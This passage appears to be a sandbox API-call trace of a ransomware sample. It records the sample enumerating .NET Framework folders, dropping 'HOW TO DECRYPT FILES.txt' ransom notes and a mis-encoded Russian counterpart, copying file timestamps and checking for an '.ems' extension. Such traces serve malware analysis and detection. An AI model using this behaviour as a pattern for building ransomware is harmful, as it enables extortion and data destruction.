dwReserved0=0x0, dwReserved1=0x0, cFileName="clr.dll", cAlternateFileName="")) returned 1 [0137.376] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.376] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CLR-ETW.man") returned="CLR-ETW.man" [0137.376] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.376] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.376] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.376] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.377] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="clr.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" [0137.377] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x587ebce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1deb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="clrcompression.dll", cAlternateFileName="CLRCOM~1.DLL")) returned 1 [0137.377] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.377] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll") returned="clr.dll" [0137.377] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.377] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.377] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.377] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.377] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="clrcompression.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll" [0137.378] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58ba3f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x39aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clretwrc.dll", cAlternateFileName="")) returned 1 [0137.395] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.396] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll") returned="clrcompression.dll" [0137.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.396] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.396] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.396] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.396] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="clretwrc.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clretwrc.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clretwrc.dll" [0137.397] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58ec3c20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7c898, dwReserved0=0x0, dwReserved1=0x0, cFileName="clrjit.dll", cAlternateFileName="")) returned 1 [0137.397] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.397] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clretwrc.dll") returned="clretwrc.dll" [0137.397] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.397] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.397] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.397] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.397] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="clrjit.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" [0137.397] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58f5c1a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ComSvcConfig.exe", cAlternateFileName="COMSVC~1.EXE")) returned 1 [0137.397] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.397] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll") returned="clrjit.dll" [0137.398] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.398] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.398] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.398] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.398] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="ComSvcConfig.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ComSvcConfig.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ComSvcConfig.exe" [0137.398] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c34500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config", cAlternateFileName="")) returned 1 [0137.398] lstrcmpA (lpString1=".", lpString2="Config") returned -1 [0137.398] lstrcmpA (lpString1="..", lpString2="Config") returned -1 [0137.398] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ComSvcConfig.exe") returned="ComSvcConfig.exe" [0137.398] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="Config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config" [0137.398] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c34500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.401] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.401] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c34500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.402] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.402] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.402] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Browsers", cAlternateFileName="")) returned 1 [0137.402] lstrcmpA (lpString1=".", lpString2="Browsers") returned -1 [0137.402] lstrcmpA (lpString1="..", lpString2="Browsers") returned -1 [0137.402] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\*.*") returned="*.*" [0137.402] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="Browsers" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers" [0137.403] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.405] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.406] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ea84660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593d2ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.406] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.406] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.406] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c83a800, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x4c83a800, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x955, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="blackberry.browser", cAlternateFileName="BLACKB~1.BRO")) returned 1 [0137.406] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.406] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="blackberry.browser") returned 1 [0137.406] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="blackberry.browser") returned 1 [0137.406] lstrcmpiA (lpString1="", lpString2="blackberry.browser") returned -1 [0137.406] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\*.*") returned="*.*" [0137.406] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.406] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.406] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.406] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0xffffffff [0137.406] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.409] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.409] CloseHandle (hObject=0x94) returned 1 [0137.409] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="blackberry.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\blackberry.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\blackberry.browser" [0137.410] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\blackberry.browser", pszSpec="*.ems") returned 0 [0137.410] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcacf3140, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x83b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.browser", cAlternateFileName="CHROME~1.BRO")) returned 1 [0137.410] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.410] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chrome.browser") returned 1 [0137.410] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chrome.browser") returned 1 [0137.410] lstrcmpiA (lpString1="", lpString2="chrome.browser") returned -1 [0137.410] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\blackberry.browser") returned="blackberry.browser" [0137.410] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.410] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.410] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.410] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.410] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="chrome.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\chrome.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\chrome.browser" [0137.410] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\chrome.browser", pszSpec="*.ems") returned 0 [0137.411] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec01420, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2d30, dwReserved0=0x740078, dwReserved1=0x0, cFileName="Default.browser", cAlternateFileName="DEFAUL~1.BRO")) returned 1 [0137.411] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.411] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Default.browser") returned 1 [0137.411] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Default.browser") returned 1 [0137.411] lstrcmpiA (lpString1="", lpString2="Default.browser") returned -1 [0137.411] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\chrome.browser") returned="chrome.browser" [0137.411] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.411] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.411] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.411] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.411] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="Default.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\Default.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\Default.browser" [0137.411] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\Default.browser", pszSpec="*.ems") returned 0 [0137.411] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf540d80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x920, dwReserved0=0x740078, dwReserved1=0x0, cFileName="firefox.browser", cAlternateFileName="FIREFO~1.BRO")) returned 1 [0137.412] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.412] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="firefox.browser") returned -1 [0137.412] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="firefox.browser") returned 1 [0137.412] lstrcmpiA (lpString1="", lpString2="firefox.browser") returned -1 [0137.412] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\Default.browser") returned="Default.browser" [0137.412] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.412] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.412] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.412] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO 